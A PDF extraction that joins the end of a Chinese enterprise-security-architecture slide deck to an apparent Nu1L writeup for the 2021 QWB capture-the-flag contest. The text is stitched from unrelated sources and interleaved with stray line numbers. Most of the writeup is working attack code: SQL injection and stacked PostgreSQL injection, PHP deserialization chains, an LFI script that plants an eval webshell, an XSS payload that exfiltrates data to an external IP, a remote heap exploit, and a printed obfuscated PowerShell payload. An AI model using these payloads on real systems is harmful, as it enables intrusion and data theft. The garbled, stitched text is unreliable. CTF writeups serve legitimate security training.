sub-units, so that they align with the organization’s core goals and strategic direction. Although often associated strictly with information security technology, it relates more broadly to the security practice of business optimization in that it addresses business security architecture, performance management and security process architecture as well. • SABSA/TOGAF: Sherwood Applied Business Security Architecture • FEAF: The Federal Enterprise Architecture Framework • DoDAF: The Department of Defense Architecture Framework • GB17859-1999 信息系统安全等级保护体系 范例:SABSAFRAMEWORK Assets (What) Motivation (Why) Process (How) People (Who) Location (Where) Time (When) Logical Business Information Model Security Policies Security Services Entity Schema & Privilege Profiles Security Domain Definitions & Associations Security Processing Cycle Physical Business Data Model Security Rules, Practices & Procedures Security Mechanisms Users, Applications, & the User Interface Platform & Network Infrastructure Control Structure Execution Component Detailed Data Structures Security Standards Security Products & Tools Identities, Functions, Actions & ACLs Processes, Codes, Addresses & Protocols Security Step Timing & Sequencing Operational Assurance of Operational Continuity Operational Risk Management Security Service Management & Support Application & User Management & Support Security of Sites, Networks & Platforms Security Operations Schedule 两种方法简单对比 *都是系统工程方法应用的产物 企业安全架构 信息安全管理体系 信息安全管理体系 § 主动的多级用户视角 § 层次化和结构化 § 战略、业务强耦合 § 组件化利于分割解决问题 § 技术措施结合更紧密 § 周期更长 § 需要较高层视野 § 跨层次沟通和理解较难 § 强调生命周期 § 强调流程 § 强调持续改进 § 强调管理措施 § 强调监督、结果和记录 § 战略目标时常空泛 § 策略、流程、技术脱节 § 某些技术思想落后于时代 一些问题 什么是企业安全架构 几种常见模型 企业安全架构实践 STEP 1:评估现有企业信息化状况 五要素:战略、业务、组织、应用(数据、服务、平台)、信息技术(基础设施、通讯) STEP2:构造企业安全架构ESA总体视图 六个层次:战略、业务、应用、数据、技术、安全 四个视角:目标视图、组织架构视图、流程体系视图、技术架构视图 天合光能信息安全分层架构 信息安全目标 组织能力领先 创新能力领先 品牌价值领先 保护 核心 业务 稳定 运行 支持 各部 门提 升管 理能 力 改善 合规 运营 保障 品牌 价值 保 障 IT 运 营 安 全 IT 业 务 应 用 安 全 IT 业 务 持 续 性 安 全 管 理 体 系 保护 数据 安全 保障 创新 能力 保 障 数 据 安 全 流程架构视图 技术架构视图 总体目标视图 信息安全目标概览 数据安全 网络行为监控 终端行为监控 移动介质管理 岗位建设和培训 用户意识培训 违规调查和惩戒措施 IT运营安全 机房和物理环境(ENV & HVAC) 网络架构安全 服务器系统(OS & DB) 用户终端安全 安全事件收集和分析 业务持续性 备份和恢复 系统状态监控 应急响应计划 培训和演练 IT业务安全 风险评估 权限控制 网络访问控制 安全弱点管理 安全管理体系 安全组织 流程体系 持续运行和改善 教育培训 通过数据安全保护体系: 保障公司技术研发创新和运 营体系创新的成果。 通过安全管理体系: 优化安全管理体系和流程,合规性; 发展信息安全文化,建设信息安全环 境;协助改善生产运营绩效; 通过运营保障体系: 保障业务和运营体系稳定 运行,支持业务稳定发展; 组织架构视图 STEP3 制定信息安全战略计划 STEP4 项目优先级评估 Occurrence Probability High > 75% Low <25% Medium 25%-75% 1 2 3 4 5 6 7 DLP DLP BCDR PIM Vunlerability NAC SIEM VPN Impact on the Project (Deadlines, Costs, Quality) Low High Medium 1. 数据防泄漏系列项目 2. 特权身份管理 3. 业务连续性改善 4. VPN及外网访问控制加强 5. 日志集中管理 6. 内网访问及准入控制 7. 漏洞及补丁管理 STEP5 制定战术任务并执行 一些要点 企业安全架构是什么 • 一种世界观 • 一种方法论 • 一套工具集 • 一个可执行的战略计划 • 技术、管理、业务之间的粘合剂 企业安全架构不是什么 • 空虚的流程 • 堆砌的产品 • 拿来即用的文档 一些原则 • 坚持理想 • 尊重现实 • 随机应变 • Trade-Off原则 • Tailor原则 没有最好的架构,只有最适合的架构 挑战:大教堂与集市 互联网业务模式的冲突与碰撞 Ø 快速迭代模型 Ø 业务不定型 Ø 岗位职能的变化 Ø 技术、平台与业务强耦合 谢谢!
pdf
2021 强⽹杯 Writeup - Nu1L 2021 强⽹杯 Writeup - Nu1L Web Hard_Penetration pop_master WhereIsUWebShell EasySQL [强⽹先锋]赌徒 Hard_APT_jeesite [强⽹先锋]寻宝 EasyWeb EasyXSS Misc BlueTeaming ISO1995 签到 CipherMan ExtremelySlow 问卷题 EzTime Pwn baby_diary EzCloud notebook [强⽹先锋]orw [强⽹先锋]no_output babypwn pipeline [强⽹先锋]shellcode Reverse ezmath unicorn_like_a_pro LongTimeAgo Crypto BabyAEG guess_game Web Hard_Penetration shiro rce,注⼊内存⻢,发现 8005 端⼝还有⼀个 php 站点,当前⽤户为 ctf 没有⾼权限,于是审计 php 站点,发现为 TP3.1.3 开发的 cms,审计后发现后台存在注⼊,同时模板处可以任意⽂件包含: 登录后台 payload 如下: 在 tmp ⽬录创建 1.html,内容为: pop_master username[0]=exp&username[1]=>'Z' )) union select 1,'admin','',1,5,6,7,8,9,10,11,12,13,14,15,16-- a&yzm=juik 1 <?php readfile('/flag'); 1 2 from phply import phplex from phply.phpparse import make_parser from phply.phpast import * import pprint 1 2 3 4 import nose parser = make_parser() func_name = "find your func" con = open("./qwb/class.php").read() lexer = phplex.lexer.clone() lexer.filename = None output = parser.parse(con, lexer=lexer) functions = {} target = functions[func_name] i = 0 # 强赋值函数直接跳过 skip_func = [] pop_chain = [] pop_chain.append(func_name) e = False for out in output: class_name = out.name for node in out.nodes: if(type(node) == Method): functions[node.name] = out while(e is False): for node in target.nodes: if(type(node) == Method): if node.name == func_name: for subnode in node.nodes: if type(subnode) == MethodCall: # print(subnode) if(subnode.name in skip_func): continue target = functions[subnode.name] func_name = subnode.name pop_chain.append(func_name) break if(type(subnode) == If): # print(subnode) if type(subnode.node) == MethodCall : # print(subnode.node.name) if( subnode.node.name in skip_func): continue target = functions[subnode.node.name] func_name = subnode.node.name pop_chain.append(func_name) 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 WhereIsUWebShell 通过反序列化报错防⽌ throw break if(type(subnode) == Eval): e = True for pop in pop_chain: print("class " + functions[pop].name + "{") for node in functions[pop].nodes: if(type(node) == ClassVariables): for subnode in node.nodes: print("public " + subnode.name + ';') print("public function __construct(){") if i+1 == len(pop_chain): print("") else: print("$this->" + subnode.name[1:] + "= new " + functions[pop_chain[i+1]].name + "();") print("}") print("}") i += 1 if i == len(pop_chain): break 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 <?php class myclass{ public $test; } class Hello{ public function __destruct() { if($this->qwb) echo file_get_contents($this->qwb); } } $a=new myclass(); $b=new Hello(); $b->qwb="e2a7106f1cc8bb1e1318df70aa0a3540.php"; $a->test=$b; echo serialize($a); 1 2 3 4 5 6 7 8 9 10 11 12 13 14 去掉最后⼤括号即可 读到第⼆层的源码: <?php function PNG($file) { if(!is_file($file)){die("我从来没有⻅过侬");} $first = imagecreatefrompng($file); if(!$first){ die("发现了奇怪的东⻄2333"); } $size = min(imagesx($first), imagesy($first)); unlink($file); $second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]); if ($second !== FALSE) { imagepng($second, $file); imagedestroy($second);//销毁,清内存 } imagedestroy($first); } function GenFiles(){ $files = array(); $str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $len=strlen($str)-1; for($i=0;$i<10;$i++){ $filename="php"; for($j=0;$j<6;$j++){ $filename .= $str[rand(0,$len)]; } // file_put_contents('/tmp/'.$filename,'flag{fake_flag}'); $files[] = $filename; } return $files; } $file = isset($_GET['c9eb959c-28fb-4e43-91a4-979f5c63e05f'])? $_GET['c9eb959c-28fb-4e43-91a4-979f5c63e05f']:"404.html"; $flag = preg_match("/tmp/i",$file); if($flag){ PNG($file); } include($file); $res = @scandir($_GET['b697a607-1479-4d4d-8ab3-f1f6a4270257']); 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 ⽣成图⽚⻢: 利⽤ php7 的 lfi bug 打即可 getshell,直接复⽤王⼀航的脚本: if(isset($_GET['b697a607-1479-4d4d-8ab3-f1f6a4270257'])&&$_GET['b697a607- 1479-4d4d-8ab3-f1f6a4270257']==='/tmp'){ $somthing = GenFiles(); $res = array_merge($res,$somthing); } shuffle($res); @print_r($res); ?> 40 41 42 43 44 45 46 <?php $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33); $img = imagecreatetruecolor(32, 32); for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color); } imagepng($img,'./1.png'); ?> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #!/usr/bin/env python # -*- coding: utf-8 -*- import requests import string 1 2 3 4 5 翻了很久没发现 flag,最后查找 root ⽤户的信息,发 现 /usr/bin/ed471efd0577be6357bb94d6R3@dF1aG /l1b/af893aaa/3056545a/5f1ad7d8/50557e0f/99cddcda/Fl444ggg7063aa0e ,即可拿到 flag import itertools,re charset = string.digits + string.letters base_url = "http://eci-xxxxxxxx.cloudeci1.ichunqiu.com" def upload_file_to_include(url, file_content): files = {'file': ('1.png', open('1.png','rb'), 'image/png')} try: response = requests.post(url, files=files) except Exception as e: print e def generate_tmp_files(): webshell_content = '<?php eval($_REQUEST[c]);?>'.encode( "base64").strip().encode("base64").strip().encode("base64").strip() file_content = '<?php if(file_put_contents("/tmp/ssh_session_HD89q2", base64_decode("%s"))){echo "flag";}?>' % ( webshell_content) phpinfo_url = "%s/e2a7106f1cc8bb1e1318df70aa0a3540.php?c9eb959c-28fb- 4e43-91a4-979f5c63e05f=php://filter/string.strip_tags/resource=./404.html" % ( base_url) length = 6 times = len(charset) ** (length / 2) for i in xrange(times): print "[+] %d / %d" % (i, times) upload_file_to_include(phpinfo_url, file_content) def main(): generate_tmp_files() if __name__ == "__main__": main() 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 EasySQL 过程 1. || 判断出来是 pgsql 2. 盲注出来⽤户是 postgres 3. ⽀持堆叠注⼊ 4. pg ⽀持 create function 函数,然后可以通过 execute 去执⾏⼀个 statement 5. node 的那个客户端是事物执⾏的,所以要先 COMMIT, 然后让他报错,省得⾛到后⾯没有 try catch 程序崩溃导致容器崩溃 import requests import string def inj(SQL): url = "http://eci-2zehg7ugvk09tek5c710.cloudeci1.ichunqiu.com:8888/" data = { "username[]": 'admin', "password": '\' and 1=(case when({}) then 1 else cast((select \'ddddc\') as numeric) end) -- -'.format(SQL), } resp = requests.post(url, data=data) print(data) content = resp.text print(content) return content def bin_inj(SQL,length = False): bottom = 0 upper = 256 while bottom < upper: C = (bottom, upper) sql = SQL+" between {} and {}".format(int(bottom), int(upper)) # print(C) res = inj(sql) # print(res) if "Password Error!" in res: # print("USE C1") C_L = (int(((bottom+upper) / 2)+1), int(upper)) bottom, upper = (bottom, int((bottom + upper)/ 2) ) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 elif "Something Error!" in res: # print("Change to C_L") bottom, upper = C_L C_L = (bottom, int((bottom + upper)/ 2) ) # print("###{},{}".format(bottom, upper)) return int(bottom) if length: print(bottom) else: print(chr(bottom)) def test(): url = "http://eci-2zeajgj31n7c3bzhuiy6.cloudeci1.ichunqiu.com:8888/" data = { 'username[]': 'admin', 'password': "'; create function ddkkk(bd text) returns integer as $$ BEGIN execute bd; return 1; END; $$ language plpgsql; select ddkkk('i'||'n'||'s'||'e'||'r'||'t'||' '||'i'||'n'||'t'||'o'||' '||'users(username, p'||'a'||'s'||'sword)'||' values(''admin'', ''adddd'');'); COMMIT; select 'asdfasdf'::integer; -- -" } resp = requests.post(url, data=data) print(data) content = resp.text print(content) return content def test2(): url = "http://eci-2zeajgj31n7c3bzhuiy6.cloudeci1.ichunqiu.com:8888/" data = { 'username[]': 'admin', 'password': "adddd" } resp = requests.post(url, data=data) print(data) content = resp.text print(content) return content def main(): 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 [强⽹先锋]赌徒 # sql = "select * from information_schema.columns where table_name='users' and column_name='username'" sql = "select version()" # SQL = "length(({}))".format(sql) # length = bin_inj(SQL) # print("Length: {}".format(length)) length = 190 res = "Post" for i in range(1,length+1): for char in string.printable: SQL = "{} like '{}'".format(sql, res+char+"%") # print(char) resp = inj(SQL) if 'Password Error!' in resp: res = res+ char print(res) break print(res) if __name__ == "__main__": # main() test() test2() 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 <?php class Start { public $name; public function __construct($a){ $this->name=$a; } } class Info { public $file; 1 2 3 4 5 6 7 8 9 10 11 12 13 Hard_APT_jeesite public function __construct($b){ $this->file['filename']=$b; } } class Room { public $filename="/flag"; public $a; public function __construct(){ $this->filename="/flag"; } public function invoke(){ $this->a=new Room(); } } $a=new Room(); $a->invoke(); $b=new Info($a); $c=new Start($b); echo serialize($c); ?> 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 String filepath = req.getRequestURI(); int index = filepath.indexOf(Global.USERFILES_BASE_URL); if(index >= 0) { filepath = filepath.substring(index + Global.USERFILES_BASE_URL.length()); } try { filepath = UriUtils.decode(filepath, "UTF-8"); } catch (UnsupportedEncodingException e1) { logger.error(String.format("解释⽂件路径失败,URL地址为%s", filepath), e1); } File file = new File(Global.getUserfilesBaseDir() + Global.USERFILES_BASE_URL + filepath); 1 2 3 4 5 6 7 8 9 10 11 userfiles ⽂件读取接⼝会截取/userfiles/后⾯的字符,当传递..时,会被 tomcat ⽬录穿越导致⽆法请求到 该接⼝。 通过 tomcat 的 path variable 特性,/userfiles;/能成功访问到接⼝,并且不会被截取。 再使⽤/userfiles;/userfiles/../WEB-INF/web.xml 获取到的 filepath 为 ../WEB-INF/web.xml, 并且最终请求到的还是 userfiles 接⼝,实现了跨⽬录⽂件读 取,然后拿到了邮箱账户。 登录邮箱拿到 flag [强⽹先锋]寻宝 第⼀关: 第⼆关随意使⽤⼀个⽀持⾃动分⽚下载的下载⼯具即可,⽐如迅雷。 解压拿到⼀堆 docx,写个脚本读⼀下内容找到 flag。 ppp[number1]=11111a&ppp[number2]=3.0e6&ppp[number3]=61823470&ppp[number4]=0e 11111&ppp[number5]=abcd 1 import glob import zipfile import tqdm from xml.etree.cElementTree import XML 1 2 3 4 5 6 EasyWeb http://47.104.137.239/hint http://47.104.137.239/files/ WORD_NAMESPACE = '{http://schemas.openxmlformats.org/wordprocessingml/2006/main}' PARA = WORD_NAMESPACE + 'p' TEXT = WORD_NAMESPACE + 't' def get_docx_text(path): document = zipfile.ZipFile(path) xml_content = document.read('word/document.xml') document.close() tree = XML(xml_content) paragraphs = [] for paragraph in tree.getiterator(PARA): texts = [node.text for node in paragraph.getiterator(TEXT) if node.text] if texts: paragraphs.append(''.join(texts)) return '\n\n'.join(paragraphs) files = glob.glob('*/*/*.docx') for fname in tqdm.tqdm(files): res = get_docx_text(fname) if 'key2{' in res.lower(): print(fname, res) 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 {"hint":"# hint ^_^\n\tSo~ How to get files in this server? \n\tfiles/????????????????????????????????"} 1 http://47.104.137.239:36842/account/login 后台登录发现有注⼊,直接进后台: 扫描发现存在 file 路由⽂件上传,经过测试发现⽂件采⽤⽆字符 webshell,⽂件名为 1.p<h<p,即可上传 shell,然后 jboss 部署 war 包拿 flag EasyXSS [{"id":1,"path":"c09358adff2ebfff2ef9b4fbacc4ac0b","filename":"hint.txt","da te":"5/31/2021, 9:10:29 PM"}, {"id":2,"path":"1c60db40f1f992ff1b8243c1e24dd149","filename":"exp.py","date" :"5/31/2021, 9:11:27 PM"}, {"id":3,"path":"da2574de5ac23b656882772a625ba310","filename":"www.zip","date ":"5/31/2021, 9:12:44 PM"}] 1 Try to scan 35000-40000 ^_^. All tables are empty except for the table where the username and password are located Table: employee 1 2 3 ' union select 1,2,3,4,5,6,7-- a 1 http://localhost:8888/about? theme=";});var%09c=document.createElement("script");$(c).attr("nonce",$("scr ipt") [2].nonce);$(c).attr("s"%2b"rc","//58.87.73.74:8887/test.js");document.head. append(c);console.log({"te":"",// 1 var cccc = "flag{6bb77f8b-6bc8-4b9e-b654-8a4da5ae920d" function post(ch) { cccc = cccc + ch; document.location="http://58.87.73.74:8887/"+cccc; } function test(ch) { url = "http://localhost:8888/flag?var="+cccc+ch; 1 2 3 4 5 6 7 8 9 Misc BlueTeaming 在内存⾥搜 utf16 ⼩端序的字符串的 powershell,发现有这个东⻄ ⽤ volatility 的 dump registry 功能去 dump ⼀下注册表,挂载 hive 到 regedit ⾥⾯,然后搜这个后⾯的命 令,就可以发现相应的键值 // console.log(url); fetch(url).then(response => {if (response.status == 200) { post(ch) }}); } // for(var i=0; i<5; i++) { var charset = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', '-', '}'] for(var j=0; j<charset.length;j++) { test(charset[j]); } // } 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 HostApplication=powershell -noprofile & ( $veRBOsepReFErEncE.tOstrINg() [1,3]+'x'-JOin'')( nEW-ObjEcT sySTEm.iO.sTreaMReAdER( ( nEW-ObjEcT SystEm.iO.CompreSsiOn.DEfLATEstREam([IO.meMoryStream] [CoNVeRT]::fROMbASe64StRinG('NVJdb5tAEHyv1P9wQpYAuZDaTpvEVqRi+5Sgmo/Axa0VRdo LXBMUmyMGu7Es//fuQvoAN7e7Nzua3RqUcJbgQVLIJ1hzNi/eGLMYe2gOFX+0zHpl9s0Uv4YHbnu 8CzwI8nIW5UX4bNqM2RPGUtU4sPQSH+mmsFbIY87kFit3A6ohVnGIFbLOdLlXCdFhAlOT3rGAEJY QvfIsgmAjw/mJXTPLssxsg3U59VTvyrT7JjvDS8bwN8NvbPYt81amMeItpi1TI3omaErK0fO5bNr 7LQVkWjYkqlZtkVtRUK8xxAQxxqylGVwM3dFX6jtw6TgbnrPRCMFlm75i3xAPhq2aqUnNKFyWqhN iu0bC4wV6kXHDsh6yF5k8Xgz7Hbi6+ACXI/vLQyoSv7x5/EgNbXvy+VPvOAtyvWuggvuGvOhZaNF S/wTlqN9xwqGuwQddst7Rh3AfvQKHLAoCsq4jmMJBgKrpMbm/By8pcDQLzlju3zFn6S12zB6PjXs Ifcj0XBmu8Qyqma4ETw2rd8w2MI92IGKU0HGqEGYacp7/Z2U+CB7gqJdy67c2dHYsOA0H598N33b 3cr3j2EzoKXgpiv1+XjfbIryhRk+wakhq16TSqYhpKcHbpNTox9GYgyekcY0KcFGyKFf56YTF7dr g1ji/+BMk/G7H04Y599sCFW3+NG71l0aXZRntjFu94FGhHidQzYvOsSiOaLsFxaY6P6CbFWioRSU TGdSnyT8=' ) , [IO.coMPressION.cOMPresSiOnmOde]::dEcOMPresS)), [TexT.ENcODInG]::AsCIi)).ReaDToeNd(); 1 ISO1995 根据 ISO9660 光盘⽂件系统的格式,在 0x9800 找到了⽂件⽬录表,发现是 1024 个名为 FLAGFOLD 的⽂ 件,内容根据 LBA 在后⾯ 0x26800 起的位置中,发现每⼀个⽂件只有⼀个字节,⽽且 FLAGFOLD ⽂件看 上去都⼀样 在 0x16000 还能找到⼀个⽂件⽬录表,有 1024 个 flag xxxxx 的⽂件,时间字段的分钟和秒钟完全不合 法,但是可以组成 0x000-0x3FF 的数字,刚好是 1024 个,FLAGFOLD ⽂件也是 1024 个,尝试把这个和每 个⽂件的内容对应上 flag 就在⾥⾯。 from Crypto.Util.number import bytes_to_long with open('iso1995', 'rb') as f: content = f.read() res = content[0x26800:].replace(b'\x00'*16, b'') res = res.replace(b'\x00'*15, b'') # 0x9800 DIROFF = 0x16044 # DIROFF = 0x9844 flag = [0]*1024 off = 0 tt = [] for i in range(1024): while content[DIROFF+60*i+off:DIROFF+60*i+off+2] != b'\x3c\x00': off += 1 # print(hex(DIROFF+60*i+off)) t = bytes_to_long(content[DIROFF+60*i+off:][22:24]) # tt.append((i, t)) tt.append(t) ff = '' for idx, val in enumerate(tt): # print(val, idx) ff += res[val] # flag[val[0]] = res[idx] print(''.join(ff)) #print(len(set(''.join(flag)))) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 签到 签到 CipherMan ⼀个磁盘镜像和⼀个内存镜像 磁盘镜像信息 65536 有 FVE-FS,是 BitLocker 使⽤插件( https://raw.githubusercontent.com/elceef/bitlocker/master/bitlocker.py ) 可以从内存镜像⾥⾯ 读 bitlocker key 然后⽤ bdemount mount ⼀下 进去看到只有⼀个 README,内容就是 flag。 $ mmls secret DOS Partition Table Offset Sector: 0 Units are in 512-byte sectors Slot Start End Length Description 000: Meta 0000000000 0000000000 0000000001 Primary Table (#0) 001: ------- 0000000000 0000000127 0000000128 Unallocated 002: 000:000 0000000128 0001042559 0001042432 NTFS / exFAT (0x07) 003: ------- 0001042560 0001048575 0000006016 Unallocated 1 2 3 4 5 6 7 8 9 10 $ volatility -f memory --profile Win7SP1x86_23418 bitlocker Volatility Foundation Volatility Framework 2.6 Address : 0x86863bc8 Cipher : AES-128 FVEK : 7c9e29b3708f344e4041271dc54175c5 TWEAK : 4e3ef340dd377cea9c643951ce1e56c6 1 2 3 4 5 6 7 ExtremelySlow ⾸先使⽤ HTTP header 中的 range 逐字节的下载了⼀个⽂件,由于 response ⾥⾯也有 range,读取所有的 response 然后拼起来 from pcapng import FileScanner import pcapng l = 1987 port_data = {} file = 'ExtremelySlow.pcapng' with open(file, 'rb') as fp: scanner = FileScanner(fp) for block in scanner: if isinstance(block, pcapng.blocks.EnhancedPacket): data = block.packet_payload_info[2] ip_packet = data[14:34] src_ip = ip_packet[12:16] dst_ip = ip_packet[16:20] if src_ip == '\x7f\x00\x00\x01' and dst_ip == '\x7f\x00\x00\x01': tcp_packet = data[34:66] src_port = tcp_packet[0:2] dst_port = tcp_packet[2:4] if (src_port == '\x00\x50'): http_data = data[66:] if dst_port not in port_data: port_data[dst_port] = [http_data] else: port_data[dst_port].append(http_data) # print port_data #exit() flag = ['\x00'] * 1987 n = 0 # print port_data for k in port_data: for i in range(len(port_data[k]) - 1): if ('HTTP' in port_data[k][i]): data = port_data[k][i] if ('206 Partial' in data): 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 提取出来⼀个 python3.10 的 pyc,⼯具配合⼈⼯逆向字节码恢复部分⽆法识别的代码可以恢复出主要逻 辑(rc4 ⽹上随便抄⼀个): # idx = data[data.index] # data = data[66:] part1 = data[data.index('content-range: bytes') +len('content-range: bytes'):] idx = int(part1[:part1.index('-')].strip()) # print(idx) part2 = part1[part1.index('\x0d\x0a\x0d\x0a') + 4:] xx = part2 # print(len(part2)) if (len(part2) == 0): xx = port_data[k][i+1] # print(idx, xx.encode('hex')) n += 1 flag[idx] = xx flag = ''.join(flag) print flag.encode('hex') print n open('flag.pyc', 'wb').write(flag) 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 import sys from hashlib import sha256 def KSA(key): """This initialises the permutation in array S.""" keylength = len(key) # 256 is the max keylength S = list(range(256)) j = 0 for i in range(256): j = (j + S[i] + key[i % keylength]) % 256 # swap values of S[i] and S[j] S[i], S[j] = S[j], S[i] # swap return S def PRGA(S): 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 """Initialsises the pseudo-random generator, which takes in values of S""" Klist = [] i = 0 j = 0 while True: # increments i, and looks up the ith element of S, S[i] i = (i + 1) % 256 # which it then adds to j j = (j + S[i]) % 256 # swaps again S[i], S[j] = S[j], S[i] # swap # use the sum S[i] + S[j] mod 256 as an index to find a third element of S K = S[(S[i] + S[j]) % 256] # like return, but for generator functions yield K def RC4(key): S = KSA(key) return PRGA(S) def xor(p, stream): return ''.join(map((lambda x: chr(x ^ stream.__next__())), p)) if __name__ == '__main__': w = b'\xf6\xef\x10H\xa9\x0f\x9f\xb5\x80\xc1xd\xae\xd3\x03\xb2\x84\xc2\xb4\x0e\x c8\xf3<\x151\x19\n\x8f' e = b'$\r9\xa3\x18\xddW\xc9\x97\xf3\xa7\xa8R~' b = b'geo' s = b'}\xce`\xbej\xa2\x120\xb5\x8a\x94\x14{\xa3\x86\xc8\xc7\x01\x98\xa3_\x91\xd 8\x82T*V\xab\xe0\xa1\x141' t = b"Q_\xe2\xf8\x8c\x11M}'<@\xceT\xf6? _m\xa4\xf8\xb4\xea\xca\xc7:\xb9\xe6\x06\x8b\xeb\xfabH\x85xJ3$\xdd\xde\xb6\x dc\xa0\xb8b\x961\xb7\x13=\x17\x13\xb1" # m = { # 2: 115, # 8: 97, # 11: 117, # 10: 114} 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 看到要求输⼊神秘字符串,与 rc4 ⽣成的 stream xor 后 sha256 满⾜要求,⽽且 rc4 密钥为 stegosaurus。 猜测使⽤了 stegosaurus ⼯具进⾏ pyc 隐写,编译⼀个 python3.10 跑⼀下 stegosaurus 即可拿到输⼊ p, xor 后的 c 就是 flag。 问卷题 问卷 EzTime 给了 NTFS 的 Log 和 MFT,要提取⼀个时间属性⽐较奇怪的⽂件 https://github.com/msuhanov/dfir_ntfs 提取 MFT ⾥⾯的⽂件记录信息,⼀共⼤概 400 多个,发现其中有⼀条时间相当可疑 # n = { # 3: 119, # 7: 116, # 9: 124, # 12: 127} # {x: n[x]^x for x in n} # {5: 103, 4: 101, 6: 111} m = { 2: 115, 8: 97, 11: 117, 10: 114, 5: 103, 4: 101, 6: 111, 3: 116, 7: 115, 9: 117, 12: 115} stream = RC4(list(map((lambda x: x[1]), sorted(m.items())))) # stegosaurus print(xor(w, stream)) # p = sys.stdin.buffer.read() p = b'\xe5\n2\xd6"\xf0}I\xb0\xcd\xa2\x11\xf0\xb4U\x166\xc5o\xdb\xc9\xead\x04\x1 5b' e = xor(e, stream) c = xor(p, stream) print(c) print(xor(t, stream)) # if sha256(c).digest() == s: # print(xor(t, stream).decode()) # return None # None(e.decode()) # return None 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 3 个时间都是整数,就是这个⽂件 Pwn baby_diary 申请23个堆块,然后show(-11)在堆地址与程序地址靠近的时候有概率泄漏出程序段地址,接着利⽤ checksum可以off by null File record,281474976710804,Y,N,2286333,/{45EF6FFC-F0B6-4000-A7C0- 8D1549355A8C}.png,2021-05-19 15:59:00.000000,2021-05-22 16:28:34.000000,2021-05-22 16:28:34.000000,2021-05-22 16:32:48.448696,0,2021-05-22 16:28:34.022482,2021-05-22 16:28:34.022482,2021-05-22 16:28:34.022482,2021-05-22 16:28:34.022482,,14366,,,, 1 from pwn import * import fuckpy3 from pwnlib.ui import pause libc = ELF('./libc-2.31.so') def launch_gdb(): # context.terminal = ['xfce4-terminal', '-x', 'sh', '-c'] # gdb.attach(proc.pidof(p)[0]) os.system("gnome-terminal -- gdb -q ./tcache231 " + str(proc.pidof(p) [0])) def add(s,c): p.recvuntil('>>') p.sendline('1') p.recvuntil(':') p.sendline(str(s)) p.recvuntil(':') p.send(c) def show(s): p.recvuntil('>>') p.sendline('2') p.recvuntil(':') p.sendline(str(s)) def dele(s): p.recvuntil('>>') 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 p.sendline('3') p.recvuntil(':') p.sendline(str(s)) def test_check(d): res = 0 for i in d.str(): res += ord(i) res %=0x100 print(res) def de_check(d,final = 1): res = 0 for i in d.str(): res += ord(i) for i in range(0x100): tmp = res + i while tmp > 0xf: tmp = (tmp >> 4) + (tmp & 0xf) if tmp == final: return i # 224 -11 # p = process('./baby_diary') # for i in range(22): # add(0x10d00,'\xff' * 0x100 + '\n') # add(0x20000,'aaa\n') # launch_gdb() while True: try: # p = process('./baby_diary') p = remote('8.140.114.72', 1399) for i in range(22): add(0x1000,'\xff'*0x1000) add(0x7000000,'aaaa\n') show(-11) p.recvuntil('\x08') break except EOFError: p.close() continue # launch_gdb() leak = u64(b'\x08' + p.recv(5) + b'\x00\x00') - 0x4008 for i in range(23): dele(i) 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 # leak = 0x555555554000 log.info('leak prog ' + hex(leak)) payload = p64(0) + p64(0x301) + p64(leak + 0x4060 - 0x18) + p64(leak + 0x4060 - 0x10) payload = payload.ljust(0x100,b'\x00') add(0x108-1,payload + b'\n') add(0xf8-1,'a\n') 